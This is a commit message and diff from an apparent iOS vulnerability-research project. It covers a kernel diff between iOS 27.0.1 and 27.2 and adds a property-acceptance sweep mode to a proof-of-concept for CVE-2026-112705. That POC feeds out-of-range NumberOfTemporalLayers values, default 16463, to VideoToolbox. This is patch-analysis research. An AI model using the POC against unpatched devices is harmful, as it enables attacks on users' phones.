iOS 27.2 kernel differential + NTL fix-boundary sweep

- docs/IOS27.2-KERNEL-DIFF.md: 27.0.1 vs 27.2 (iPhone19,7), 162 advisory
  CVEs, 93 size-changed kexts; confirmed fix sites for 112705 (NTL 0..7
  assertion), 113910 (produced vs expected chunk bytes), 112507 (ipr/table
  NULL checks in ipc_misc.c); __DATA_SPTM byte-identical, no PPL/SPTM/MIE
  code change or bypass fix
- tools/ipsw/: Range-based IPSW reader, IM4P/LZFSE + fileset parser, kext
  extractor, llvm-objdump diff, advisory mapper
- CVE-2026-112705: --sweep mode (0..12, no frame) in both POCs; app module
  now sweeps 0/1/7/8/64/1024/16462/16463
- app 2.3 build 7

CVE-2026-112705/CVE-2026-112705.c

@@ -15,6 +15,7 @@
 // Build: clang -O2 -o cve-2026-112705 CVE-2026-112705.c \
 //          -framework VideoToolbox -framework CoreMedia -framework CoreVideo -framework CoreFoundation
 // Run:   ./cve-2026-112705 [layers] [--force-host]
+//        ./cve-2026-112705 --sweep        (property acceptance 0..12, no frame)
 
 #include <stdio.h>
 #include <stdlib.h>
@@ -54,8 +55,10 @@ static void print_readback(VTCompressionSessionRef s, const char *key) {
 int main(int argc, char **argv) {
     int layers = 16463;
     int force_host = 0;
+    int sweep = 0;
     for (int i = 1; i < argc; i++) {
         if (strcmp(argv[i], "--force-host") == 0) force_host = 1;
+        else if (strcmp(argv[i], "--sweep") == 0) sweep = 1;
         else if (atoi(argv[i]) > 0) layers = atoi(argv[i]);
     }
 
@@ -76,6 +79,21 @@ int main(int argc, char **argv) {
     set_prop(session, "RealTime", kCFBooleanFalse);
     printf("EncoderUsage=%d RCMode=%d\n", su, sr);
 
+    if (sweep) {
+        // 27.2 clamps the property to 0..7 (the new assertion string is
+        // "iNumberOfTemporalLayers <= 7"); 27.0/27.0.1 accepts the whole range.
+        printf("sweep: NTL acceptance 0..12 (no frame submitted)\n");
+        for (int n = 0; n <= 12; n++) {
+            CFNumberRef nv = CFNumberCreate(NULL, kCFNumberIntType, &n);
+            int32_t st = set_prop(session, "NumberOfTemporalLayers", nv);
+            CFRelease(nv);
+            printf("NTL %2d: status=%d\n", n, st);
+        }
+        VTCompressionSessionInvalidate(session);
+        CFRelease(session);
+        return 0;
+    }
+
     CFNumberRef n = CFNumberCreate(NULL, kCFNumberIntType, &layers);
     int32_t sn = set_prop(session, "NumberOfTemporalLayers", n);
     CFRelease(n);